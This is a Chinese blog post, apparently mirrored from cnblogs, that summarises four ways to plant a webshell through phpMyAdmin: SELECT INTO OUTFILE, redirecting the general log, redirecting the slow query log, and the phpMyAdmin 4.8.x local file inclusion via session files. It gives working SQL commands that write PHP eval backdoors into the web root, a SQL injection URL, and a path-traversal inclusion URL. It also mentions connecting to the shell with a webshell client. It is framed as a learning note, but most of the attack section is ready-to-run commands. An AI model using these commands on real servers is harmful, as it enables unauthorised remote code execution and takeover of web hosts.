zoukankan      html  css  js  c++  java
  • phpmyadmin后台getshell方法学习总结

    0x00 前言

    最近看的一篇文章中提到过phpmyadmin一些后台getshell方式,就想着写篇博客学习总结一下~~

    0x01 getshell方法

    一、select into outfile直接写入

    1.利用条件

    • 对web目录需要有写权限能够使用单引号
    • 知道绝对路径
    • secure_file_priv没有具体值

    2.步骤
    查看有没有配置secure_file_priv

    show global variables like '%secure%';
    

    在这里插入图片描述
    secure_file_priv为NULL,表示限制mysql不允许导入导出。没有具体值时,表示不对mysqld 的导入导出做限制。

    当知道路径时(通过报错获取路径/phpinfo),可以直接用

    ?id=1 union select "<?php @eval($_POST['quan']);?>" into outfile("G:/phpStudy/PHPTutorial/www/quan.php")
    

    或者选择一个数据库如test
    新创建一个表a
    在a中插入<?php @eval($_POST['quan']);?>
    然后select * from a into outfile 'G:/phpStudy/PHPTutorial/www/quan.php';
    将a中的数据导出到文件quan.php

    二、开启全局日志getshell

    1.利用条件
    必须是root权限
    2.步骤
    查看配置

    show variables like '%general%';
    

    在这里插入图片描述
    开启general log模式

    set global general_log = on;
    

    设置日志目录为shell地址

    set global general_log_file = 'G:/phpStudy/PHPTutorial/www/quan.php';
    

    在这里插入图片描述
    写入shell

    select '<?php eval($_POST[cmd]);?>'
    

    在这里插入图片描述
    文件内容如下,然后用菜刀连就好啦
    在这里插入图片描述

    三、使用慢查询日志getshell

    1.慢查询日志
    记录所有执行时间超过long_query_time秒的所有查询或者不使用索引的查询。默认情况下,MySQL数据库是不开启慢查询日志的,long_query_time的默认值为10(即10秒,通常设置为1秒),即运行10秒以上的语句是慢查询语句。
    2.步骤

    show variables like '%slow%';
    

    在这里插入图片描述
    修改日志文件绝对路径及文件名

    set global slow_query_log_file = 'G:/phpStudy/PHPTutorial/www/quan.php';
    

    启用慢查询日志

    set GLOBAL slow_query_log=on;
    

    写shell

    select '<?php phpinfo();?>' from mysql.db where sleep(10);
    

    四、利用phpmyadmin4.8.x本地文件包含漏洞getshell

    通过包含sedsion文件的方法来getshell
    1.步骤

    select '<?php phpinfo()?>'; 
    

    然后查看自己的sessionid(cookie中phpMyAdmin的值)
    对应的SESSION文件为 /tmp/sess_sessionid
    然后包含session文件
    http://xxx/index.php?target=db_sql.php%3f/../../../../../../../../tmp/sessionid

    0x02 参考

    https://www.jianshu.com/p/ddd41b841c36

  • 相关阅读:
    数组名和指针区别(还有数组退化等)
    无法从“const char *”转换为“char *”
    c语言数组初始化问题
    c语言实现atoi和itoa函数。
    不使用临时变量交换两个整数
    hdu 1282回文数猜想
    Android仿WIN8系统磁贴点击下沉倾斜效果
    Android Studio使用心得
    处理json中影响解析的多余引號
    我也来开发2048之主界面设计
  • 原文地址:https://www.cnblogs.com/0nc3/p/12071314.html
Copyright © 2011-2022 走看看